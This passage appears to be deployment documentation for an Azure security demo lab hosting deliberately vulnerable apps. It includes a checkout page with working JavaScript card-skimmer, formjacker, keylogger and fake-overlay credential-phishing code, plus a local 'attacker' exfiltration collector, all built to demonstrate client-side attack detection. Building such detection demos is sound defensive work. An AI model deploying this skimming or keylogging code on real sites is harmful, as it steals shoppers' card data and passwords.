</ul> <p><a href="/health">Health Check</a></p> </body> </html>
- path: /opt/origin-server/dvwa-fpm/Dockerfile content: | FROM ghcr.io/digininja/dvwa:latest AS dvwa-src FROM php:8-fpm RUN apt-get update && apt-get install -y --no-install-recommends nginx \ libpng-dev libjpeg62-turbo-dev libfreetype6-dev zlib1g-dev \ && docker-php-ext-configure gd --with-freetype --with-jpeg \ && docker-php-ext-install mysqli pdo pdo_mysql gd \ && rm -rf /var/lib/apt/lists/* COPY --from=dvwa-src /var/www/html /var/www/html RUN cp /var/www/html/config/config.inc.php.dist /var/www/html/config/config.inc.php \ && chown -R www-data:www-data /var/www/html COPY nginx.conf /etc/nginx/sites-available/default RUN ln -sf /etc/nginx/sites-available/default /etc/nginx/sites-enabled/default COPY www.conf /usr/local/etc/php-fpm.d/www.conf COPY entrypoint.sh /entrypoint.sh RUN chmod +x /entrypoint.sh EXPOSE 80 CMD ["/entrypoint.sh"]
- path: /opt/origin-server/dvwa-fpm/nginx.conf content: | server { listen 80; server_name _; root /var/www/html; index index.php index.html;
location / { try_files $uri $uri/ /index.php?$args; }
location ~ \.php$ { fastcgi_pass 127.0.0.1:9000; fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name; include fastcgi_params; fastcgi_read_timeout 30; fastcgi_buffer_size 32k; fastcgi_buffers 16 32k; } }
- path: /opt/origin-server/dvwa-fpm/www.conf content: | [www] user = www-data group = www-data listen = 127.0.0.1:9000 pm = dynamic pm.max_children = 32 pm.start_servers = 8 pm.min_spare_servers = 4 pm.max_spare_servers = 16 pm.max_requests = 200 request_terminate_timeout = 30
- path: /opt/origin-server/dvwa-fpm/entrypoint.sh permissions: "0755" content: | #!/bin/sh sed -i "s/\$_DVWA\[ 'db_server' \].*/\$_DVWA[ 'db_server' ] = getenv('DB_SERVER') ?: '127.0.0.1';/" /var/www/html/config/config.inc.php sed -i "s/\$_DVWA\[ 'db_database' \].*/\$_DVWA[ 'db_database' ] = getenv('DB_DATABASE') ?: 'dvwa';/" /var/www/html/config/config.inc.php sed -i "s/\$_DVWA\[ 'db_user' \].*/\$_DVWA[ 'db_user' ] = getenv('DB_USER') ?: 'dvwa';/" /var/www/html/config/config.inc.php sed -i "s/\$_DVWA\[ 'db_password' \].*/\$_DVWA[ 'db_password' ] = getenv('DB_PASSWORD') ?: 'p@ssw0rd';/" /var/www/html/config/config.inc.php php-fpm -D nginx -g 'daemon off;'
- path: /opt/origin-server/vampi-gunicorn.sh permissions: "0755" content: | #!/bin/sh cd /vampi pip install -q gunicorn 2>/dev/null python -c " from config import db, vuln_app with vuln_app.app.app_context(): db.create_all() " exec gunicorn -b 0.0.0.0:5000 "config:vuln_app" -w 2 --timeout 30
- path: /opt/origin-server/csd-demo/Dockerfile content: | FROM python:3.12-slim WORKDIR /app RUN pip install --no-cache-dir flask gunicorn gevent COPY app.py . COPY templates/ templates/ EXPOSE 5001 CMD ["gunicorn", "-b", "0.0.0.0:5001", "app:app", "-w", "1", "-k", "gevent", "--timeout", "30"]
- path: /opt/origin-server/csd-demo/app.py content: | from datetime import datetime, timezone
from flask import Flask, jsonify, render_template, request
app = Flask(__name__)
exfiltrated_data = []
@app.route("/") def checkout(): return render_template("checkout.html")
@app.route("/dashboard") def dashboard(): return render_template("dashboard.html", entries=exfiltrated_data)
@app.route("/exfil", methods=["POST", "GET"]) def exfil(): entry = { "timestamp": datetime.now(timezone.utc).isoformat(), "source_ip": request.remote_addr, "user_agent": request.headers.get("User-Agent", ""), "attack_type": request.args.get("type", "unknown"), } if request.is_json: entry["payload"] = request.get_json(silent=True) elif request.args.get("d"): entry["payload"] = request.args.get("d") else: entry["payload"] = request.get_data(as_text=True) exfiltrated_data.append(entry) return jsonify({"status": "received"})
@app.route("/exfil/log") def exfil_log(): return jsonify(exfiltrated_data)
@app.route("/exfil/clear", methods=["POST"]) def exfil_clear(): exfiltrated_data.clear() return jsonify({"status": "cleared"})
@app.route("/health") def health(): return jsonify( { "status": "healthy", "component": "csd-demo", "attacks": [ "skimmer", "formjacker", "keylogger", "cryptominer", "dom-hijack", ], } )
if __name__ == "__main__": app.run(host="0.0.0.0", port=5001, debug=False)
- path: /opt/origin-server/csd-demo/templates/checkout.html content: | <!DOCTYPE html> <html lang="en"> <head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <title>ShopDemo - Checkout</title> <link href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.3/dist/css/bootstrap.min.css" rel="stylesheet"> <style> .attack-panel { position: fixed; top: 10px; right: 10px; z-index: 9999; width: 320px; font-size: 0.85rem; } .attack-panel .card { border: 2px solid #dc3545; } .attack-toggle { cursor: pointer; } .attack-active { background-color: #f8d7da; } .exfil-indicator { display: none; position: fixed; bottom: 20px; right: 20px; z-index: 9999; background: #dc3545; color: white; padding: 8px 16px; border-radius: 4px; font-size: 0.8rem; } .exfil-indicator.show { display: block; animation: pulse 1s infinite; } @keyframes pulse { 0%,100% { opacity: 1; } 50% { opacity: 0.5; } } .product-img { width: 80px; height: 80px; background: #e9ecef; border-radius: 8px; display: flex; align-items: center; justify-content: center; font-size: 2rem; } </style> </head> <body class="bg-light">
<!-- Attack Control Panel (visible to demo operator) --> <div class="attack-panel" id="attackPanel"> <div class="card shadow"> <div class="card-header bg-danger text-white d-flex justify-content-between align-items-center"> <strong>Attack Simulator</strong> <button class="btn btn-sm btn-outline-light" onclick="togglePanel()">_</button> </div> <div class="card-body" id="panelBody"> <p class="text-muted mb-2">Toggle attacks to demonstrate what F5 CSD detects:</p>
<div class="form-check form-switch mb-2"> <input class="form-check-input attack-toggle" type="checkbox" id="toggleSkimmer"> <label class="form-check-label" for="toggleSkimmer"> <strong>Card Skimmer</strong><br> <small class="text-muted">Steals CC data on form submit (Magecart)</small> </label> </div>
<div class="form-check form-switch mb-2"> <input class="form-check-input attack-toggle" type="checkbox" id="toggleFormjacker"> <label class="form-check-label" for="toggleFormjacker"> <strong>Formjacker</strong><br> <small class="text-muted">Hijacks form action to attacker endpoint</small> </label> </div>
<div class="form-check form-switch mb-2"> <input class="form-check-input attack-toggle" type="checkbox" id="toggleKeylogger"> <label class="form-check-label" for="toggleKeylogger"> <strong>Keylogger</strong><br> <small class="text-muted">Captures keystrokes in real time</small> </label> </div>
<div class="form-check form-switch mb-2"> <input class="form-check-input attack-toggle" type="checkbox" id="toggleCryptominer"> <label class="form-check-label" for="toggleCryptominer"> <strong>Cryptominer</strong><br> <small class="text-muted">Simulates CPU-intensive mining script</small> </label> </div>
<div class="form-check form-switch mb-2"> <input class="form-check-input attack-toggle" type="checkbox" id="toggleDomHijack"> <label class="form-check-label" for="toggleDomHijack"> <strong>DOM Hijack</strong><br> <small class="text-muted">Injects fake overlay form to steal PII</small> </label> </div>
<hr> <div class="d-flex gap-2"> <a href="/dashboard" class="btn btn-sm btn-outline-danger" target="_blank">Attacker Dashboard</a> <button class="btn btn-sm btn-outline-secondary" onclick="clearLog()">Clear Log</button> </div> <div id="exfilCount" class="mt-2 text-muted small"></div> </div> </div> </div>
<!-- Exfiltration Indicator --> <div class="exfil-indicator" id="exfilIndicator">Data exfiltrated to attacker</div>
<!-- Main Checkout Page --> <div class="container py-5" style="max-width: 960px;"> <div class="text-center mb-4"> <h2>ShopDemo Checkout</h2> <p class="text-muted">Complete your purchase — this is a simulated e-commerce checkout for CSD testing.</p> </div>
<!-- Order Summary --> <div class="card mb-4"> <div class="card-body"> <h5 class="card-title">Order Summary</h5> <div class="d-flex align-items-center mb-3"> <div class="product-img me-3">💻</div> <div class="flex-grow-1"> <strong>Premium Widget Pro</strong><br> <small class="text-muted">SKU: WDG-PRO-2024 · Qty: 1</small> </div> <strong>$149.99</strong> </div> <div class="d-flex align-items-center mb-3"> <div class="product-img me-3">📡</div> <div class="flex-grow-1"> <strong>Widget Accessory Pack</strong><br> <small class="text-muted">SKU: WDG-ACC-100 · Qty: 2</small> </div> <strong>$39.98</strong> </div> <hr> <div class="d-flex justify-content-between"> <span>Subtotal</span><span>$189.97</span> </div> <div class="d-flex justify-content-between"> <span>Shipping</span><span>$9.99</span> </div> <div class="d-flex justify-content-between"> <span>Tax</span><span>$16.15</span> </div> <hr> <div class="d-flex justify-content-between"> <strong>Total</strong><strong>$216.11</strong> </div> </div> </div>
<!-- Checkout Form --> <form id="checkoutForm" action="/checkout-complete" method="POST">
<div class="card mb-4"> <div class="card-body"> <h5 class="card-title">Billing Information</h5> <div class="row g-3"> <div class="col-md-6"> <label for="firstName" class="form-label">First name</label> <input type="text" class="form-control" id="firstName" name="firstName" placeholder="John" required> </div> <div class="col-md-6"> <label for="lastName" class="form-label">Last name</label> <input type="text" class="form-control" id="lastName" name="lastName" placeholder="Smith" required> </div> <div class="col-12"> <label for="email" class="form-label">Email</label> <input type="email" class="form-control" id="email" name="email" placeholder="john.smith@example.com" required> </div> <div class="col-12"> <label for="phone" class="form-label">Phone</label> <input type="tel" class="form-control" id="phone" name="phone" placeholder="(555) 123-4567"> </div> <div class="col-12"> <label for="address" class="form-label">Address</label> <input type="text" class="form-control" id="address" name="address" placeholder="1234 Main St" required> </div> <div class="col-md-5"> <label for="city" class="form-label">City</label> <input type="text" class="form-control" id="city" name="city" placeholder="Seattle" required> </div> <div class="col-md-4"> <label for="state" class="form-label">State</label> <input type="text" class="form-control" id="state" name="state" placeholder="WA" required> </div> <div class="col-md-3"> <label for="zip" class="form-label">ZIP</label> <input type="text" class="form-control" id="zip" name="zip" placeholder="98101" required> </div> <div class="col-12"> <label for="ssn" class="form-label">SSN <small class="text-muted">(for financing — optional)</small></label> <input type="text" class="form-control" id="ssn" name="ssn" placeholder="XXX-XX-XXXX"> </div> </div> </div> </div>
<div class="card mb-4"> <div class="card-body"> <h5 class="card-title">Payment Details</h5> <div class="row g-3"> <div class="col-12"> <label for="ccName" class="form-label">Name on card</label> <input type="text" class="form-control" id="ccName" name="ccName" placeholder="John Smith" required> </div> <div class="col-12"> <label for="ccNumber" class="form-label">Card number</label> <input type="text" class="form-control" id="ccNumber" name="ccNumber" placeholder="4111 1111 1111 1111" required> </div> <div class="col-md-4"> <label for="ccExpiry" class="form-label">Expiration</label> <input type="text" class="form-control" id="ccExpiry" name="ccExpiry" placeholder="MM/YY" required> </div> <div class="col-md-4"> <label for="ccCvv" class="form-label">CVV</label> <input type="text" class="form-control" id="ccCvv" name="ccCvv" placeholder="123" required> </div> </div> </div> </div>
<button class="btn btn-primary btn-lg w-100 mb-4" type="submit">Place Order — $216.11</button> </form>
<p class="text-center text-muted small"> This is a <strong>simulated checkout page</strong> for F5 Distributed Cloud Client-Side Defense testing. No real transactions are processed. All data stays on this server. </p> </div>
<!-- DOM Hijack Overlay (hidden by default) --> <div id="domHijackOverlay" style="display:none; position:fixed; top:0; left:0; width:100%; height:100%; background:rgba(0,0,0,0.7); z-index:10000; justify-content:center; align-items:center;"> <div style="background:white; padding:30px; border-radius:8px; max-width:400px; width:90%;"> <h5 style="color:#dc3545;">Session Expired</h5> <p>Please re-enter your credentials to continue:</p> <input type="text" class="form-control mb-2" id="hijackUser" placeholder="Username"> <input type="password" class="form-control mb-2" id="hijackPass" placeholder="Password"> <input type="text" class="form-control mb-2" id="hijackCC" placeholder="Card number for verification"> <button class="btn btn-danger w-100" onclick="submitHijack()">Verify Identity</button> </div> </div>
<script> const EXFIL_URL = "/exfil"; let activeAttacks = {}; let keystrokeBuffer = ""; let keystrokeTimer = null; let miningInterval = null;
function flashExfil() { const el = document.getElementById("exfilIndicator"); el.classList.add("show"); setTimeout(() => el.classList.remove("show"), 2000); }
function exfiltrate(type, data) { flashExfil(); fetch(EXFIL_URL + "?type=" + encodeURIComponent(type), { method: "POST", headers: {"Content-Type": "application/json"}, body: JSON.stringify(data) }); updateCount(); }
function updateCount() { fetch("/exfil/log").then(r => r.json()).then(d => { document.getElementById("exfilCount").textContent = d.length + " exfiltration(s) captured"; }); }
// ── Card Skimmer (Magecart-style) ── function enableSkimmer() { document.getElementById("checkoutForm").addEventListener("submit", skimmerHandler); } function disableSkimmer() { document.getElementById("checkoutForm").removeEventListener("submit", skimmerHandler); } function skimmerHandler(e) { const form = e.target; const data = {}; new FormData(form).forEach((v, k) => { data[k] = v; }); exfiltrate("skimmer", { description: "Magecart card skimmer — captured payment data on form submit", card_number: data.ccNumber, card_name: data.ccName, card_expiry: data.ccExpiry, card_cvv: data.ccCvv, email: data.email, billing_address: data.address + ", " + data.city + " " + data.state + " " + data.zip }); }
// ── Formjacker ── let originalAction = null; function enableFormjacker() { const form = document.getElementById("checkoutForm"); originalAction = form.action; form.action = EXFIL_URL + "?type=formjacker"; form.method = "POST"; } function disableFormjacker() { if (originalAction) { document.getElementById("checkoutForm").action = originalAction; } }
// ── Keylogger ── function enableKeylogger() { document.addEventListener("keydown", keylogHandler); } function disableKeylogger() { document.removeEventListener("keydown", keylogHandler); if (keystrokeTimer) clearTimeout(keystrokeTimer); keystrokeBuffer = ""; } function keylogHandler(e) { const target = e.target; const fieldId = target.id || target.name || "unknown"; keystrokeBuffer += e.key; if (keystrokeTimer) clearTimeout(keystrokeTimer); keystrokeTimer = setTimeout(() => { exfiltrate("keylogger", { description: "JavaScript keylogger — real-time keystroke capture", field: fieldId, keystrokes: keystrokeBuffer }); keystrokeBuffer = ""; }, 1500); }
// ── Cryptominer (simulated) ── function enableCryptominer() { exfiltrate("cryptominer", { description: "Cryptominer script loaded — simulating CPU-intensive mining", pool: "stratum+tcp://evil-pool.example.com:3333", wallet: "44AFFq5kSiGBoZ4NMDwYtN18NkMdYsKPmYHg...", status: "mining_started" }); miningInterval = setInterval(() => { let x = 0; for (let i = 0; i < 5000000; i++) { x += Math.sqrt(i) * Math.random(); } }, 100); } function disableCryptominer() { if (miningInterval) { clearInterval(miningInterval); miningInterval = null; } }
// ── DOM Hijack ── function enableDomHijack() { setTimeout(() => { document.getElementById("domHijackOverlay").style.display = "flex"; exfiltrate("dom-hijack", { description: "DOM manipulation — injected fake credential overlay", technique: "overlay_phishing", status: "overlay_displayed" }); }, 3000); } function disableDomHijack() { document.getElementById("domHijackOverlay").style.display = "none"; } function submitHijack() { exfiltrate("dom-hijack", { description: "DOM hijack — victim submitted credentials to fake overlay", username: document.getElementById("hijackUser").value, password: document.getElementById("hijackPass").value, card: document.getElementById("hijackCC").value }); document.getElementById("domHijackOverlay").style.display = "none"; }
// ── Toggle handlers ── const attacks = { toggleSkimmer: { enable: enableSkimmer, disable: disableSkimmer }, toggleFormjacker: { enable: enableFormjacker, disable: disableFormjacker }, toggleKeylogger: { enable: enableKeylogger, disable: disableKeylogger }, toggleCryptominer: { enable: enableCryptominer, disable: disableCryptominer }, toggleDomHijack: { enable: enableDomHijack, disable: disableDomHijack } };
Object.keys(attacks).forEach(id => { document.getElementById(id).addEventListener("change", function() { if (this.checked) { attacks[id].enable(); } else { attacks[id].disable(); } }); });
function togglePanel() { const body = document.getElementById("panelBody"); body.style.display = body.style.display === "none" ? "block" : "none"; }
function clearLog() { fetch("/exfil/clear", { method: "POST" }).then(() => updateCount()); }
updateCount(); </script> </body> </html>
- path: /opt/origin-server/csd-demo/templates/dashboard.html content: | <!DOCTYPE html> <html lang="en"> <head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <title>Attacker Dashboard - Exfiltrated Data</title> <link href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.3/dist/css/bootstrap.min.css" rel="stylesheet"> <style> body { background: #1a1a2e; color: #e0e0e0; font-family: monospace; } .card { background: #16213e; border-color: #0f3460; } .card-header { background: #0f3460; } .badge-skimmer { background: #dc3545; } .badge-formjacker { background: #fd7e14; } .badge-keylogger { background: #ffc107; color: #000; } .badge-cryptominer { background: #198754; } .badge-dom-hijack { background: #6f42c1; } pre { background: #0d1117; color: #58a6ff; padding: 10px; border-radius: 4px; font-size: 0.8rem; max-height: 200px; overflow-y: auto; } .header-bar { background: #dc3545; padding: 15px 0; margin-bottom: 20px; } </style> </head> <body> <div class="header-bar text-center"> <h4 class="text-white mb-0">Attacker C&C Dashboard</h4> <small class="text-white-50">Exfiltrated data from CSD demo checkout page</small> </div>
<div class="container-fluid px-4"> <div class="d-flex justify-content-between align-items-center mb-3"> <h5>Captured Data ({{ entries|length }} entries)</h5> <div> <button class="btn btn-sm btn-outline-light" onclick="location.reload()">Refresh</button> <button class="btn btn-sm btn-outline-danger" onclick="clearAndReload()">Clear All</button> </div> </div>
{% if entries %} {% for entry in entries|reverse %} <div class="card mb-3"> <div class="card-header d-flex justify-content-between align-items-center"> <span> <span class="badge badge-{{ entry.attack_type }}">{{ entry.attack_type }}</span> {{ entry.timestamp }} </span> <small>{{ entry.source_ip }}</small> </div> <div class="card-body"> <pre>{{ entry.payload | tojson(indent=2) if entry.payload is mapping else entry.payload }}</pre> </div> </div> {% endfor %} {% else %} <div class="text-center py-5"> <h5 class="text-muted">No data captured yet</h5> <p class="text-muted">Enable attacks on the checkout page and interact with the form.</p> </div> {% endif %} </div>
<script> function clearAndReload() { fetch("/exfil/clear", { method: "POST" }).then(() => location.reload()); } setTimeout(() => location.reload(), 5000); </script> </body> </html>
- path: /usr/local/lib/cloud-init-helpers.sh permissions: "0644" content: | #!/bin/sh PROGRESS_LOG="/var/log/cloud-init-progress.log" log_phase() { _p="$1"; shift; printf '[%s] [%s] %s\n' "$(date -u +%Y-%m-%dT%H:%M:%SZ)" "$_p" "$${*:-started}" | tee -a "$PROGRESS_LOG" >&2; } retry_cmd() { _m="$1"; _b="$2"; shift 2; _a=1; while [ "$_a" -le "$_m" ]; do if "$@"; then return 0; fi; [ "$_a" -lt "$_m" ] && { _w=$((_b*_a)); log_phase retry "$_a/$_m failed ($1) retry in $${_w}s"; sleep "$_w"; }; _a=$((_a+1)); done; log_phase retry "FAILED after $_m: $1"; return 1; } fetch_url() { log_phase fetch "$${3:-$1}"; retry_cmd 4 5 curl -fsSL --connect-timeout 15 --max-time 300 -o "$2" "$1"; } install_packages() { log_phase apt "installing: $*"; retry_cmd 3 10 apt-get install -y -o DPkg::Lock::Timeout=60 "$@"; } clone_repo() { log_phase git "cloning $1 -> $2"; retry_cmd 3 10 git clone --depth "$${3:-1}" --single-branch "$1" "$2"; } wait_for_http() { _u="$1"; _m="$2"; _d="$${3:-$1}"; log_phase health "waiting $_d (max $${_m}s)"; _e=0; while [ "$_e" -lt "$_m" ]; do curl -sf --max-time 5 "$_u" >/dev/null 2>&1 && { log_phase health "$_d ready $${_e}s"; return 0; }; sleep 5; _e=$((_e+5)); done; log_phase health "TIMEOUT $_d $${_m}s"; return 1; } wait_for_docker_health() { _c="$1"; _m="$2"; log_phase docker "waiting $_c (max $${_m}s)"; _e=0; while [ "$_e" -lt "$_m" ]; do _s=$(docker inspect -f '{{.State.Health.Status}}' "$_c" 2>/dev/null||echo missing); case "$_s" in healthy) log_phase docker "$_c healthy $${_e}s"; return 0;; unhealthy) log_phase docker "$_c unhealthy"; return 1;; esac; sleep 5; _e=$((_e+5)); done; log_phase docker "TIMEOUT $_c $${_m}s"; return 1; }
runcmd: - | . /usr/local/lib/cloud-init-helpers.sh log_phase "init" "origin-server provisioning started" # Enable sysstat collection (sar history) - sed -i 's/ENABLED="false"/ENABLED="true"/' /etc/default/sysstat - systemctl enable sysstat - systemctl restart sysstat # Kernel tuning - sysctl -p /etc/sysctl.d/99-origin-server.conf || exit 1 # Docker - | . /usr/local/lib/cloud-init-helpers.sh log_phase "docker-install" "installing Docker Engine" install -m 0755 -d /etc/apt/keyrings fetch_url "https://download.docker.com/linux/ubuntu/gpg" /etc/apt/keyrings/docker.asc "Docker GPG key" chmod a+r /etc/apt/keyrings/docker.asc echo "deb [arch=$(dpkg --print-architecture) signed-by=/etc/apt/keyrings/docker.asc] https://download.docker.com/linux/ubuntu $(. /etc/os-release && echo "$VERSION_CODENAME") stable" > /etc/apt/sources.list.d/docker.list retry_cmd 3 10 apt-get update install_packages docker-ce docker-ce-cli containerd.io docker-buildx-plugin docker-compose-plugin systemctl enable docker systemctl start docker log_phase "docker-install" "Docker Engine installed" - systemctl daemon-reload - ln -sf /etc/nginx/sites-available/origin-server /etc/nginx/sites-enabled/origin-server - rm -f /etc/nginx/sites-enabled/default - nginx -t || exit 1 - systemctl enable nginx # Clone RESTaurant API repo for build - apt-get install -y git - | . /usr/local/lib/cloud-init-helpers.sh clone_repo "https://github.com/theowni/Damn-Vulnerable-RESTaurant-API-Game.git" /opt/origin-server/restaurant # Build custom images and start all containers - | . /usr/local/lib/cloud-init-helpers.sh log_phase "docker-build" "building custom images" cd /opt/origin-server && retry_cmd 3 30 docker compose build || exit 1 log_phase "docker-up" "starting 41 containers" cd /opt/origin-server && docker compose up -d || exit 1 - | . /usr/local/lib/cloud-init-helpers.sh log_phase "health-check" "waiting for application containers" for ctr in crapi-postgres crapi-mongo crapi-mailhog; do wait_for_docker_health "$ctr" 120 done for ctr in crapi-identity crapi-community crapi-workshop crapi-web; do wait_for_docker_health "$ctr" 180 done wait_for_http "http://127.0.0.1:3001" 120 "juice-shop" wait_for_http "http://127.0.0.1:5101/api/v1/users" 120 "vampi" wait_for_http "http://127.0.0.1:8201" 120 "httpbin" wait_for_http "http://127.0.0.1:8082" 120 "whoami" log_phase "health-check" "all containers ready" # DVWA database setup (create tables via HTTP setup endpoint) - | for i in $(seq 1 30); do docker exec dvwa-db mysqladmin ping -u root -proot_password 2>/dev/null && break sleep 2 done - | . /usr/local/lib/cloud-init-helpers.sh TOKEN=$(curl -sf http://127.0.0.1:8101/setup.php | grep -oP "user_token.*?value='\K[a-f0-9]+" | head -1) if [ -z "$TOKEN" ]; then log_phase "warning" "empty DVWA token — skipping database setup"; else curl -sf -X POST http://127.0.0.1:8101/setup.php -d "create_db=Create+%2F+Reset+Database&user_token=$${TOKEN}" -c /tmp/dvwa-setup -b /tmp/dvwa-setup fi - systemctl restart nginx - | . /usr/local/lib/cloud-init-helpers.sh log_phase "complete" "origin-server provisioned"Outputs
Section titled “Outputs”outputs.tf exposes 25 outputs following the Demo Resource Standard — 15 standard outputs shared by all demo resources (deployer, public_ip, private_ip, ssh_command, resource_group_name, vm_name, nsg_name, vnet_name, subnet_id, component, environment, resource_group_id, vm_id, nsg_id, location) plus 10 component-specific application URLs (origin_url, health_check_url, juice_shop_url, dvwa_url, vampi_url, httpbin_url, whoami_url, dvga_url, restaurant_url, crapi_url):
# ---------------------------------------------------------# Standard Outputs (present in every demo resource)# ---------------------------------------------------------
output "deployer" { description = "Resolved deployer identifier" value = local.deployer}
output "resource_group_name" { description = "Name of the resource group" value = azurerm_resource_group.main.name}
output "resource_group_id" { description = "Resource ID of the resource group" value = azurerm_resource_group.main.id}
output "location" { description = "Azure region" value = azurerm_resource_group.main.location}
output "public_ip" { description = "Public IP address of the VM" value = azurerm_public_ip.main.ip_address}
output "private_ip" { description = "Private IP address of the VM" value = azurerm_network_interface.main.private_ip_address}
output "ssh_command" { description = "SSH command to connect to the VM" value = "ssh ${var.admin_username}@${azurerm_public_ip.main.ip_address}"}
output "vm_name" { description = "Name of the virtual machine" value = azurerm_linux_virtual_machine.main.name}
output "vm_id" { description = "Resource ID of the virtual machine" value = azurerm_linux_virtual_machine.main.id}
output "nsg_name" { description = "Name of the network security group" value = azurerm_network_security_group.main.name}
output "nsg_id" { description = "Resource ID of the network security group" value = azurerm_network_security_group.main.id}
output "vnet_name" { description = "Name of the virtual network" value = azurerm_virtual_network.main.name}
output "subnet_id" { description = "Resource ID of the subnet" value = azurerm_subnet.main.id}
output "component" { description = "Component name" value = local.component}
output "environment" { description = "Environment label" value = var.environment}
# ---------------------------------------------------------# Component-Specific Outputs# ---------------------------------------------------------
output "origin_url" { description = "Base HTTP URL of the origin server" value = "http://${azurerm_public_ip.main.ip_address}"}
output "health_check_url" { description = "Health check endpoint" value = "http://${azurerm_public_ip.main.ip_address}/health"}
output "juice_shop_url" { description = "OWASP Juice Shop URL" value = "http://${azurerm_public_ip.main.ip_address}/juice-shop/"}
output "dvwa_url" { description = "DVWA URL" value = "http://${azurerm_public_ip.main.ip_address}/dvwa/"}
output "vampi_url" { description = "VAmPI URL" value = "http://${azurerm_public_ip.main.ip_address}/vampi/"}
output "httpbin_url" { description = "httpbin URL" value = "http://${azurerm_public_ip.main.ip_address}/httpbin/"}
output "whoami_url" { description = "whoami request diagnostics URL" value = "http://${azurerm_public_ip.main.ip_address}/whoami/"}
output "dvga_url" { description = "DVGA GraphQL security URL" value = "http://${azurerm_public_ip.main.ip_address}/dvga/"}
output "restaurant_url" { description = "RESTaurant API security URL" value = "http://${azurerm_public_ip.main.ip_address}/restaurant/"}
output "crapi_url" { description = "crAPI microservices security URL" value = "http://${azurerm_public_ip.main.ip_address}:8888"}Example Variables File
Section titled “Example Variables File”Copy terraform.tfvars.example to terraform.tfvars and fill in your values. The .gitignore excludes terraform.tfvars to prevent committing credentials:
# Copy this file to terraform.tfvars and fill in your values.# terraform.tfvars is gitignored — never commit real credentials.
# --- Required ---subscription_id = "00000000-0000-0000-0000-000000000000"
# --- Optional overrides (defaults shown) ---# deployer = "" # auto-resolved from Azure AD# location = "eastus2"# environment = "lab"# vm_size = "Standard_D16s_v3"# disk_size_gb = 60# admin_username = "azureuser"# ssh_public_key_path = "~/.ssh/id_ed25519.pub"# tags = {}Deploy
Section titled “Deploy”cp terraform.tfvars.example terraform.tfvars# Edit terraform.tfvars with your Azure subscription ID and SSH key path
terraform init
terraform plan
terraform applyTerraform outputs the public IP, SSH command, and application URLs after successful deployment.
Post-Deploy
Section titled “Post-Deploy”After terraform apply completes, allow 5—10 minutes for cloud-init to finish installing Docker, pulling container images, and configuring nginx. The Docker image pulls are the bottleneck — Juice Shop alone is ~400 MiB.
Verify the health endpoint:
curl -s "http://$(terraform output -raw public_ip)/health" | jq .Expected response:
{ "status": "healthy", "component": "origin-server", "applications": ["juice-shop", "dvwa", "vampi", "httpbin", "whoami", "csd-demo", "dvga", "restaurant", "crapi"]}DVWA Database Setup
Section titled “DVWA Database Setup”DVWA requires a one-time database initialization. Open http://<PUBLIC_IP>/dvwa/setup.php in a browser and click Create / Reset Database. Default credentials are admin / password.
Wiring to Downstream Components
Section titled “Wiring to Downstream Components”After deployment, other components use the origin server’s outputs as their inputs:
# CDN Simulator — pass origin-server's public IP as its upstreamcd ../cdn-simulator/terraformorigin_ip=$(cd ../../origin-server/terraform && terraform output -raw public_ip)cat > terraform.tfvars <<EOFsubscription_id = "your-subscription-id"origin_server = "http://${origin_ip}"origin_host = "${origin_ip}:80"EOF
# Traffic Generator — pass the F5 XC load balancer FQDN (not the origin IP directly)cd ../traffic-generator/terraformcat > terraform.tfvars <<EOFsubscription_id = "your-subscription-id"target_fqdn = "your-xc-load-balancer.example.com"EOF| Output | Downstream Component | Input Variable |
|---|---|---|
public_ip | CDN Simulator | origin_server (with http:// prefix) |
public_ip | CDN Simulator | origin_host (with :80 suffix, no scheme) |
public_ip | F5 XC Origin Pool | Origin server address |
Proceed to Applications for usage guides or Verify for smoke tests.